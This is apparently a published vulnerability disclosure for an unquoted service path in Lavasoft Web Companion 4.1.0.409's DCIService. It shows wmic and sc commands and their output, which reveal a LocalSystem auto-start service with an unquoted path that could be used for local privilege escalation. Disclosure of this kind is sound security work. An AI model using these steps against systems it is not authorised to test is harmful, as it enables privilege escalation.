Lavasoft 4.1.0.409 Unquoted Service Path

#Exploit Title: Lavasoft web companion 4.1.0.409 - 'DCIservice' Unquoted Service Path# Author: P4p4 M4n3# Discovery Date: 25-11-2022# Vendor Homepage: https://webcompanion.com/en/# Version 4.1.0.409# Tested on:  Microsoft Windows Server 2019 Datacenter x64# Description:# Lavasoft 4.1.0.409 install DCIservice  as a service with an unquoted service path# POC https://youtu.be/yb8AavCMbes #Discover the Unquoted Service pathC:\Users\p4p4\> wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """DCIService        C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe    Auto  C:\Users\p4p4> sc qc DCIService[SC] QueryServiceConfig réussite(s)SERVICE_NAME: DCIService        TYPE               : 10  WIN32_OWN_PROCESS        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 1   NORMAL        BINARY_PATH_NAME   : C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe        LOAD_ORDER_GROUP   :        TAG                : 0        DISPLAY_NAME       : DCIService        DEPENDENCIES       :        SERVICE_START_NAME : LocalSystem